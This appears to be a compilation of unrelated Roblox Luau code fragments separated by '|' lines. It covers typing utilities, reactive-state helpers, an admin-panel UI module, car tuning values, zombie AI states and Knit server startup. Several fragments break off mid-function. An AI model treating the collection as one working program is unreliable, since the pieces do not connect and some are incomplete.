local wrappedName = ("Symbol(%s)"):format(name)
getmetatable(self).__tostring = function()
return wrappedName
end
return self
end
|
--[[**
ensures Roblox TweenInfo type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.TweenInfo = primitive("TweenInfo")
|
-- ALEX WAS HERE LOL
|
local u1 = nil;
coroutine.wrap(function()
u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local u2 = Random.new();
return function(...)
local v1 = { ... };
if type(v1[1][1]) == "table" then
v1 = u1.Functions.CloneTable(v1[1]);
end;
if #v1 < 2 then
return v1[1][1], nil, 100;
end;
local u3 = nil;
(function()
local v2 = 0;
for v3, v4 in ipairs(v1) do
v2 = v2 + v4[2];
end;
for v5, v6 in ipairs(v1) do
local v7 = v6[2];
v6[2] = v7 / v2;
v6[3] = v7;
end;
end)();
u3 = u2:NextNumber();
local v8 = (function()
local v9 = 0;
for v10, v11 in ipairs(v1) do
v9 = v9 + v11[2];
if u3 <= v9 then
return v11;
end;
end;
end)();
return v8[1], u3, v8[2];
end;
|
--[=[
Maps the input brios to the output observables
@since 3.6.0
@param project project (Brio<T> | T) -> Brio<U> | U
@return (source: Observable<Brio<T> | T>) -> Observable<Brio<U>>
]=]
|
function RxBrioUtils.map(project)
return Rx.map(function(...)
local n = select("#", ...)
local brios = {}
local args
if n == 1 then
if Brio.isBrio(...) then
table.insert(brios, (...))
args = (...):GetPackedValues()
else
args = {[1] = ...}
end
else
args = {}
for index, item in pairs({...}) do
if Brio.isBrio(item) then
table.insert(brios, item)
args[index] = item:GetValue() -- we lose data here, but I think this is fine
else
args[index] = item
end
end
args.n = n
end
local results = table.pack(project(table.unpack(args, 1, args.n)))
local transformedResults = {}
for i=1, results.n do
local item = results[i]
if Brio.isBrio(item) then
table.insert(brios, item) -- add all subsequent brios into this table...
transformedResults[i] = item:GetValue()
else
transformedResults[i] = item
end
end
return BrioUtils.first(brios, table.unpack(transformedResults, 1, transformedResults.n))
end)
end
function RxBrioUtils._mapResult(brio)
return function(...)
local n = select("#", ...)
if n == 0 then
return BrioUtils.withOtherValues(brio)
elseif n == 1 then
if Brio.isBrio(...) then
return BrioUtils.first({brio, (...)}, (...):GetValue())
else
return BrioUtils.withOtherValues(brio, ...)
end
else
local brios = { brio }
local args = {}
for index, item in pairs({...}) do
if Brio.isBrio(item) then
table.insert(brios, item)
args[index] = item:GetValue() -- we lose data here, but I think this is fine
else
args[index] = item
end
end
return BrioUtils.first(brios, unpack(args, 1, n))
end
end
end
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Character.Purity.Value > -30
end
|
-- Pull maps from Maps.
|
for i, map in ipairs(OwnerMapInstallFolder:GetChildren()) do
InstallMap(map)
end
OwnerMapInstallFolder.ChildAdded:Connect(function(map)
wait()
InstallMap(map)
end)
|
-- @ModuleDescription Library containing other small function useful for programming.
|
local System = require(game.ReplicatedStorage.System)
local Module = {}
Module.Replicated = true
local HTTPService = game:GetService("HttpService")
function Module.Rotate(t)
local output = {{}, {}, {}}
for i, row in pairs(t) do
for j = 1,3 do
output[j][4-i] = row[j]
end
end
return output
end
function Module.Compare(arr1, arr2) : boolean
local a1 = HTTPService:JSONEncode(arr1)
local a2 = HTTPService:JSONEncode(arr2)
return a1 == a2
end
return Module
|
--[[function util.Tween(part,info,goal)
local tween = game:GetService("TweenService"):Create(part,info,goal)
return tween
end]]
|
--
function util.Tween(tbl)
-- util.Tween( { part , { Position = Vector3.new(0,0,0) } , 2 , "Linear" , "Out" , 0 , false, 0 } )
local parent,property,ttime,easingstyle,easingdirect,repeattime,reversable,delay = tbl[1],tbl[2],tbl[3] or 1,tbl[4] or "Linear",tbl[5] or "InOut",tbl[6] or 0,tbl[7] or false,tbl[8] or 0
local ntw = game:GetService("TweenService"):Create(parent,TweenInfo.new(ttime,Enum.EasingStyle[easingstyle].Value,Enum.EasingDirection[easingdirect].Value,repeattime,reversable,delay),property)
return ntw
end
function util.Sound(npar,sID,vol,pitch,looped)
local par = npar or workspace
local sound = Instance.new("Sound")
sound.Parent = par
sound.Volume = vol or 1
if sID then sound.SoundId = "rbxassetid://" .. tostring(sID) end
sound.Looped = looped or false
sound.Pitch = pitch or 1
return sound
end
|
--[[
Called when the original table is changed.
This will firstly find any values meeting any of the following criteria:
- they were not previously present
- a dependency used during generation of this value has changed
It will recalculate those values, storing information about any dependencies
used in the processor callback during value generation, and save the new value
to the output array with the same key. If it is overwriting an older value,
that older value will be passed to the destructor for cleanup.
Finally, this function will find values that are no longer present, and remove
their values from the output table and pass them to the destructor. You can re-use
the same value multiple times and this will function will update them as little as
possible; reusing the same values where possible.
]]
|
function class:update(): boolean
local inputIsState = self._inputIsState
local inputTable = if inputIsState then self._inputTable:get(false) else self._inputTable
local outputValues = {}
local didChange = false
-- clean out value cache
self._oldValueCache, self._valueCache = self._valueCache, self._oldValueCache
local newValueCache = self._valueCache
local oldValueCache = self._oldValueCache
table.clear(newValueCache)
-- clean out main dependency set
for dependency in pairs(self.dependencySet) do
dependency.dependentSet[self] = nil
end
self._oldDependencySet, self.dependencySet = self.dependencySet, self._oldDependencySet
table.clear(self.dependencySet)
-- if the input table is a state object, add it as a dependency
if inputIsState then
self._inputTable.dependentSet[self] = true
self.dependencySet[self._inputTable] = true
end
-- STEP 1: find values that changed or were not previously present
for inKey, inValue in pairs(inputTable) do
-- check if the value is new or changed
local oldCachedValues = oldValueCache[inValue]
local shouldRecalculate = oldCachedValues == nil
-- get a cached value and its dependency/meta data if available
local value, valueData, meta
if type(oldCachedValues) == "table" and #oldCachedValues > 0 then
local valueInfo = table.remove(oldCachedValues, #oldCachedValues)
value = valueInfo.value
valueData = valueInfo.valueData
meta = valueInfo.meta
if #oldCachedValues <= 0 then
oldValueCache[inValue] = nil
end
elseif oldCachedValues ~= nil then
oldValueCache[inValue] = nil
shouldRecalculate = true
end
if valueData == nil then
valueData = {
dependencySet = setmetatable({}, utility.WEAK_KEYS_METATABLE),
oldDependencySet = setmetatable({}, utility.WEAK_KEYS_METATABLE),
dependencyValues = setmetatable({}, utility.WEAK_KEYS_METATABLE),
}
end
-- check if the value's dependencies have changed
if shouldRecalculate == false then
for dependency, oldValue in pairs(valueData.dependencyValues) do
if oldValue ~= dependency:get(false) then
shouldRecalculate = true
break
end
end
end
-- recalculate the output value if necessary
if shouldRecalculate then
valueData.oldDependencySet, valueData.dependencySet = valueData.dependencySet, valueData.oldDependencySet
table.clear(valueData.dependencySet)
local processOK, newOutValue, newMetaValue = Dependencies.captureDependencies(
valueData.dependencySet,
self._processor,
inValue
)
if processOK then
if self._destructor == nil and (utility.needsDestruction(newOutValue) or utility.needsDestruction(newMetaValue)) then
warn("destructorNeededForValues")
end
-- pass the old value to the destructor if it exists
if value ~= nil then
local destructOK, err = xpcall(self._destructor or utility.cleanup, utility.parseError, value, meta)
if not destructOK then
warn("forValuesDestructorError", err)
end
end
-- store the new value and meta data
value = newOutValue
meta = newMetaValue
didChange = true
else
-- restore old dependencies, because the new dependencies may be corrupt
valueData.oldDependencySet, valueData.dependencySet = valueData.dependencySet, valueData.oldDependencySet
warn("forValuesProcessorError", newOutValue)
end
end
-- store the value and its dependency/meta data
local newCachedValues = newValueCache[inValue]
if newCachedValues == nil then
newCachedValues = {}
newValueCache[inValue] = newCachedValues
end
table.insert(newCachedValues, {
value = value,
valueData = valueData,
meta = meta,
})
outputValues[inKey] = value
-- save dependency values and add to main dependency set
for dependency in pairs(valueData.dependencySet) do
valueData.dependencyValues[dependency] = dependency:get(false)
self.dependencySet[dependency] = true
dependency.dependentSet[self] = true
end
end
-- STEP 2: find values that were removed
-- for tables of data, we just need to check if it's still in the cache
for _oldInValue, oldCachedValueInfo in pairs(oldValueCache) do
for _, valueInfo in ipairs(oldCachedValueInfo) do
local oldValue = valueInfo.value
local oldMetaValue = valueInfo.meta
local destructOK, err = xpcall(self._destructor or utility.cleanup, utility.parseError, oldValue, oldMetaValue)
if not destructOK then
warn("forValuesDestructorError", err)
end
didChange = true
end
table.clear(oldCachedValueInfo)
end
self._outputTable = outputValues
return didChange
end
local function ForValues<VO, M>(
inputTable,
processor: (value: any) -> (VO, M?),
destructor: (VO, M?) -> ()?
)
local inputIsState = inputTable.type == "State" and typeof(inputTable.get) == "function"
local self = setmetatable({
type = "State",
kind = "ForValues",
dependencySet = {},
-- if we held strong references to the dependents, then they wouldn't be
-- able to get garbage collected when they fall out of scope
dependentSet = setmetatable({}, utility.WEAK_KEYS_METATABLE),
_oldDependencySet = {},
_processor = processor,
_destructor = destructor,
_inputIsState = inputIsState,
_inputTable = inputTable,
_outputTable = {},
_valueCache = {},
_oldValueCache = {},
}, CLASS_METATABLE)
self:update()
return self
end
return ForValues
|
--// Processing
|
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay
local UIFolder = client.UIFolder
local script = script
local service = Vargs.Service
local client = Vargs.Client
local GetEnv = GetEnv
local Anti, Core, Functions, Process, Remote, UI, Variables, Deps
local CloneTable, TrackTask
local function Init()
UI = client.UI;
Anti = client.Anti;
Core = client.Core;
Variables = client.Variables
Functions = client.Functions;
Process = client.Process;
Remote = client.Remote;
Deps = client.Deps;
CloneTable = service.CloneTable;
TrackTask = service.TrackTask;
UI.Init = nil;
end
local function RunLast()
--[[client = service.ReadOnly(client, {
[client.Variables] = true;
[client.Handlers] = true;
G_API = true;
G_Access = true;
G_Access_Key = true;
G_Access_Perms = true;
Allowed_API_Calls = true;
HelpButtonImage = true;
Finish_Loading = true;
RemoteEvent = true;
ScriptCache = true;
Returns = true;
PendingReturns = true;
EncodeCache = true;
DecodeCache = true;
Received = true;
Sent = true;
Service = true;
Holder = true;
GUIs = true;
LastUpdate = true;
RateLimits = true;
Init = true;
RunLast = true;
RunAfterInit = true;
RunAfterLoaded = true;
RunAfterPlugins = true;
}, true)--]]
UI.DefaultTheme = Remote.Get("Setting","DefaultTheme");
UI.RunLast = nil;
end
getfenv().client = nil
getfenv().service = nil
getfenv().script = nil
client.UI = {
Init = Init;
RunLast = RunLast;
GetHolder = function()
if UI.Holder and UI.Holder.Parent == service.PlayerGui then
return UI.Holder
else
pcall(function()if UI.Holder then UI.Holder:Destroy()end end)
local new = service.New("ScreenGui", {
Name = Functions.GetRandom(),
Parent = service.PlayerGui,
});
UI.Holder = new
return UI.Holder
end
end;
Prepare = function(gui)
if true then return gui end --// Disabled
local gTable = UI.Get(gui,false,true)
if gui:IsA("ScreenGui") or gui:IsA("GuiMain") then
local new = Instance.new("TextLabel")
new.BackgroundTransparency = 1
new.Size = UDim2.new(1,0,1,0)
new.Name = gui.Name
new.Active = true
new.Text = ""
for ind,child in ipairs(gui:GetChildren()) do
child.Parent = new
end
if gTable then
gTable:Register(new)
end
gui:Destroy()
return new
else
return gui
end
end;
LoadModule = function(module, data, env)
data = data or {}
local ran, func = pcall(require, module)
local newEnv = GetEnv(env, {
script = module,
})
newEnv.client = CloneTable(client)
newEnv.service = CloneTable(service)
newEnv.service.Threads = CloneTable(service.Threads)
for i,v in pairs(newEnv.client) do
if type(v) == "table" and i ~= "Variables" and i ~= "Handlers" then
newEnv.client[i] = CloneTable(v)
end
end
if ran then
local rets = {
TrackTask("UI: ".. module:GetFullName(),
if data.modNoEnv or data.NoEnv then func else setfenv(func,newEnv),
data,
newEnv
)
}
if rets[1] then
return unpack(rets, 2)
else
warn("Error while running module", module.Name, rets[2])
client.LogError("Error loading ".. module.Name .." - ".. tostring(rets[2]))
end
else
warn("Error while loading module", module.Name, tostring(func))
end
end;
GetNew = function(theme, name)
local foundConfigs = {}
local endConfig = {}
local endConfValues = {}
local confFolder = Instance.new("Folder")
local debounce = false
local function func(theme, name, depth)
local depth = (depth or 11) - 1
local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default
if folder then
local baseValue = folder:FindFirstChild("Base_Theme")
local baseTheme = baseValue and baseValue.Value
local foundGUI = folder:FindFirstChild(name) --local foundGUI = (baseValue and folder:FindFirstChild(name)) or UIFolder.Default:FindFirstChild(name)
if foundGUI then
local config = foundGUI:FindFirstChild("Config")
table.insert(foundConfigs, {
Theme = theme;
Folder = folder;
Name = name;
Found = foundGUI;
Config = config;
isModule = foundGUI:IsA("ModuleScript");
})
if config then
baseValue = config:FindFirstChild("BaseTheme") or baseValue
baseTheme = baseValue and baseValue.Value
end
end
if baseTheme and depth > 0 then
if UI.DefaultTheme and baseTheme == "Default" and theme ~= UI.DefaultTheme and not debounce then
func(UI.DefaultTheme, name, depth)
else
debounce = true
func(baseTheme, name, depth)
end
end
end
end
--// Find GUI and all default versions under it
func(theme, name)
confFolder.Name = "Config"
--// Create the final config for the found GUI.
if #foundConfigs > 0 then
--// Combine all configs found in order to build full config (in order of closest from target gui to furthest)
for i,v in pairs(foundConfigs) do
if v.Config then
for k,m in ipairs(v.Config:GetChildren()) do
if not endConfig[m.Name] then
if string.sub(m.Name, 1, 5) == "NoEnv" then
endConfig["Code"] = m
end
endConfig[m.Name] = m
end
end
end
end
--// Load all config values into the new Config folder
for i,v in pairs(endConfig) do
v:Clone().Parent = confFolder;
end
--// Find next module based theme GUI if code not found or first in sequence is module (in theme)
if foundConfigs[1].isModule then
return foundConfigs[1].Found, foundConfigs[1].Folder, confFolder
elseif not endConfig.Code then
warn("Window config missing code.lua. Are your Base_Themes correct? client.UI.GetNew line 236")
end
--// Get rid of an old Config folder and throw the new combination Config folder in
local new = foundConfigs[1].Found:Clone()
local oldFolder = new:FindFirstChild'Config'
if oldFolder then oldFolder:Destroy() end
confFolder.Parent = new
return new, foundConfigs[1].Folder, confFolder
end
end;
Make = function(name, data, themeData)
local data = data or {}
local defaults = {Desktop = "Default"; Mobile = "Mobilius"}
local themeData = themeData or Variables.LastServerTheme or defaults
local theme = Variables.CustomTheme or (service.IsMobile() and themeData.Mobile) or themeData.Desktop
local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default
local newGui, folder2, foundConf = UI.GetNew(theme, name)
if newGui then
local isModule = newGui:IsA("ModuleScript")
local conf = newGui:FindFirstChild("Config")
local mod = conf and (conf:FindFirstChild("Modifier") or conf:FindFirstChild("NoEnv-Modifier"))
data.modNoEnv = mod and string.sub(mod.Name, 1, 5) == "NoEnv"
if isModule then
return UI.LoadModule(newGui, data, {
script = newGui;
})
elseif conf and foundConf and foundConf ~= true then
local code = foundConf:FindFirstChild("Code") or foundConf:FindFirstChild("NoEnv-Code")
data.NoEnv = code and string.sub(code.Name, 1, 5) == "NoEnv"
local mult = foundConf.AllowMultiple
local keep = foundConf.CanKeepAlive
local allowMult = mult and mult.Value or true
local found, num = UI.Get(name)
if not found or ((num and num>0) and allowMult) then
local gTable,gIndex = UI.Register(newGui)
local newEnv = {}
if folder:IsA("ModuleScript") then
local folderNoEnv = string.sub(folder.Name, 1, 5) == "NoEnv"
newEnv.script = folder
newEnv.gTable = gTable
local ran, func = pcall(require, folder)
local newEnv = GetEnv(newEnv)
local rets = {
folderNoEnv and pcall(func, newGui, gTable, data, newEnv) or pcall(setfenv(func, newEnv), newGui, gTable, data, newEnv)
}
local ran = rets[1]
local ret = rets[2]
if ret ~= nil then
if type(ret) == "userdata" and Anti.GetClassName(ret) == "ScreenGui" then
code = (ret:FindFirstChild("Config") and (ret.Config:FindFirstChild("Code") or ret.Config:FindFirstChild("NoEnv-Code"))) or code
data.NoEnv = code and string.sub(code.Name, 1, 5) == "NoEnv"
else
return ret
end
end
end
newGui.Parent = Variables.GUIHolder
newGui.Name = Functions.GetRandom()
data.gIndex = gIndex
data.gTable = gTable
code.Parent = conf
code.Name = name
if mod then
UI.LoadModule(mod, data, {
script = mod;
gTable = gTable;
Data = data;
GUI = newGui;
})
end
return UI.LoadModule(code, data, {
script = code;
gTable = gTable;
Data = data;
GUI = newGui;
})
end
end
else
print("GUI", name, "not found")
end
end;
Get = function(obj,ignore,returnOne)
local found = {}
local num = 0
if obj then
for ind,g in pairs(client.GUIs) do
if g.Name ~= ignore and g.Object ~= ignore and g ~= ignore then
if type(obj) == "string" then
if g.Name == obj then
found[ind] = g
num = num+1
if returnOne then return g end
end
elseif type(obj) == "userdata" then
if service.RawEqual(g.Object, obj) then
found[ind] = g
num = num+1
if returnOne then return g end
end
elseif type(obj) == "boolean" and obj == true then
found[ind] = g
num = num+1
if returnOne then return g end
end
end
end
end
if num<1 then
return false
else
return found,num
end
end;
Remove = function(name, ignore)
local gui = UI.Get(name, ignore)
if gui then
for i,v in pairs(gui) do
v.Destroy()
end
end
end;
Register = function(gui, data)
local gIndex = Functions.GetRandom()
local gTable;gTable = {
Object = gui,
Config = gui:FindFirstChild'Config';
Name = gui.Name,
Events = {},
Class = gui.ClassName,
Index = gIndex,
Active = true,
Ready = function()
if gTable.Config then gTable.Config.Parent = nil end
local ran,err = pcall(function()
local obj = gTable.Object;
if gTable.Class == "ScreenGui" or gTable.Class == "GuiMain" then
if obj.DisplayOrder == 0 then
obj.DisplayOrder = 90000
end
obj.Enabled = true
obj.Parent = service.PlayerGui
else
obj.Parent = UI.GetHolder()
end
end);
if ran then
gTable.Active = true
else
warn("Something happened while trying to set the parent of", gTable.Name)
warn(err)
gTable:Destroy()
end
end,
BindEvent = function(event, func)
local signal = event:Connect(func)
local origDisc = signal.Disconnect
local Events = gTable.Events
local disc = function()
origDisc(signal)
for i,v in pairs(Events) do
if v.Signal == signal then
table.remove(Events, i)
end
end
end
table.insert(Events, {
Signal = signal;
Remove = disc
})
return {
Disconnect = disc;
disconnect = disc;
wait = service.CheckProperty(signal, "wait") and signal.wait
}, signal
end,
ClearEvents = function()
for i,v in pairs(gTable.Events) do
v:Remove()
end
end,
Destroy = function()
pcall(function()
if gTable.CustomDestroy then
gTable.CustomDestroy()
else
service.UnWrap(gTable.Object):Destroy()
end
end)
gTable.Destroyed = true
gTable.Active = false
client.GUIs[gIndex] = nil
gTable.ClearEvents()
end,
UnRegister = function()
client.GUIs[gIndex] = nil
if gTable.AncestryEvent then
gTable.AncestryEvent:Disconnect()
end
end,
Register = function(tab,new)
if not new then new = tab end
new:SetSpecial("Destroy", gTable.Destroy)
gTable.Object = service.Wrap(new)
gTable.Class = new.ClassName
if gTable.AncestryEvent then
gTable.AncestryEvent:Disconnect()
end
gTable.AncestryEvent = new.AncestryChanged:Connect(function(c, parent)
if client.GUIs[gIndex] then
if rawequal(c, gTable.Object) and gTable.Class == "TextLabel" and parent == service.PlayerGui then
wait()
gTable.Object.Parent = UI.GetHolder()
elseif rawequal(c, gTable.Object) and parent == nil and not gTable.KeepAlive then
gTable:Destroy()
elseif rawequal(c, gTable.Object) and parent ~= nil then
gTable.Active = true
client.GUIs[gIndex] = gTable
end
end
end)
client.GUIs[gIndex] = gTable
end
}
if data then
for i,v in pairs(data) do
gTable[i] = v
end
end
gui.Name = Functions.GetRandom()
gTable:Register(gui)
return gTable,gIndex
end
}
client.UI.RegisterGui = client.UI.Register
client.UI.GetGui = client.UI.Get
client.UI.PrepareGui = client.UI.Prepare
client.UI.MakeGui = client.UI.Make
end
|
----- Information Panel Locals -----
|
local InformationText = script.Parent.Parent.Parent.InformationFrame.Variables.InformationText
local InformationCaseText = script.Parent.Parent.Parent.InformationFrame.Variables.CaseCollectionText
local InformationImage = script.Parent.Parent.Parent.InformationFrame.Variables.CurrentSkin
|
--[[Weight and CG]]
|
Tune.Weight = 3450 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] .8 ,
--[[Height]] 1/3 ,
--[[Length]] 1.2 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .7 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .4 -- Front Wheel Density
Tune.RWheelDensity = .4 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--- Makes an Enum type.
|
function Util.MakeEnumType(name, values)
local findValue = Util.MakeFuzzyFinder(values)
return {
Validate = function(text)
return findValue(text, true) ~= nil, ("Value %q is not a valid %s."):format(text, name)
end,
Autocomplete = function(text)
local list = findValue(text)
return type(list[1]) ~= "string" and Util.GetNames(list) or list
end,
Parse = function(text)
return findValue(text, true)
end
}
end
|
-- if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then
-- model.Humanoid.Jump = true
-- end
|
end
end
end
PursueState.Init = function()
end
-- AttackState: Keep moving towards target and play attack animation.
local AttackState = StateMachine.NewState()
AttackState.Name = "Attack"
local lastAttack = os.time()
local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack)
AttackState.Action = function()
model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
local now = os.time()
if now - lastAttack > 3 then
lastAttack = now
attackTrack:Play()
end
end
-- HuntState: Can't see target but NPC will move to target's last known location.
-- Will eventually get bored and switch state.
local HuntState = StateMachine.NewState()
HuntState.Name = "Hunt"
HuntState.Action = function()
if ZombieTargetLastLocation then
PathLib:MoveToTarget(model, ZombieTargetLastLocation)
end
end
HuntState.Init = function()
lastBored = os.time() + configs["BoredomDuration"] / 2
end
-- CONDITION DEFINITIONS
-- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and
-- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed
-- greater than 0 (this is to ignore inanimate objects that happen to use humanoids)
local CanSeeTarget = StateMachine.NewCondition()
CanSeeTarget.Name = "CanSeeTarget"
CanSeeTarget.Evaluate = function()
if model then
-- Get list of all nearby Zombies and non-Zombie humanoids
-- Zombie list is used to ignore zombies during later raycast
local humanoids = HumanoidList:GetCurrent()
local zombies = {}
local characters = {}
for _, object in pairs(humanoids) do
if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then
local torso = object.Parent:FindFirstChild("HumanoidRootPart")
if torso then
if not model:FindFirstChild("HumanoidRootPart") then continue end
local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude
if distance <= configs["AggroRange"] then
if object.Parent.Name == "Drooling Zombie" then
table.insert(zombies, object.Parent)
else
table.insert(characters, object.Parent)
end
end
end
end
end
local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"])
if target then
ZombieTarget = target
return true
end
|
--[=[
@return Promise
Starts Knit. Should only be called once.
Optionally, `KnitOptions` can be passed in order to set
Knit's custom configurations.
:::caution
Be sure that all services have been created _before_
calling `Start`. Services cannot be added later.
:::
```lua
Knit.Start():andThen(function()
print("Knit started!")
end):catch(warn)
```
Example of Knit started with options:
```lua
Knit.Start({
Middleware = {
Inbound = {
function(player, args)
print("Player is giving following args to server:", args)
return true
end
}
}
}):andThen(function()
print("Knit started!")
end):catch(warn)
```
]=]
|
function KnitServer.Start(options: KnitOptions?)
if started then
return Promise.reject("Knit already started")
end
started = true
if options == nil then
selectedOptions = defaultOptions
else
assert(typeof(options) == "table", "KnitOptions should be a table or nil; got " .. typeof(options))
selectedOptions = options
for k,v in pairs(defaultOptions) do
if selectedOptions[k] == nil then
selectedOptions[k] = v
end
end
end
return Promise.new(function(resolve)
local knitMiddleware = selectedOptions.Middleware or {}
-- Bind remotes:
for _,service in pairs(services) do
local middleware = service.Middleware or {}
local inbound = middleware.Inbound or knitMiddleware.Inbound
local outbound = middleware.Outbound or knitMiddleware.Outbound
service.Middleware = nil
for k,v in pairs(service.Client) do
if type(v) == "function" then
service.KnitComm:WrapMethod(service.Client, k, inbound, outbound)
elseif v == SIGNAL_MARKER then
service.Client[k] = service.KnitComm:CreateSignal(k, inbound, outbound)
elseif type(v) == "table" and v[1] == PROPERTY_MARKER then
service.Client[k] = service.KnitComm:CreateProperty(k, v[2], inbound, outbound)
end
end
end
-- Init:
local promisesInitServices = {}
for _,service in pairs(services) do
if type(service.KnitInit) == "function" then
table.insert(promisesInitServices, Promise.new(function(r)
service:KnitInit()
r()
end))
end
end
resolve(Promise.all(promisesInitServices))
end):andThen(function()
-- Start:
for _,service in pairs(services) do
if type(service.KnitStart) == "function" then
task.spawn(service.KnitStart, service)
end
end
startedComplete = true
onStartedComplete:Fire()
task.defer(function()
onStartedComplete:Destroy()
end)
-- Expose service remotes to everyone:
knitRepServiceFolder.Parent = script.Parent
end)
end
|
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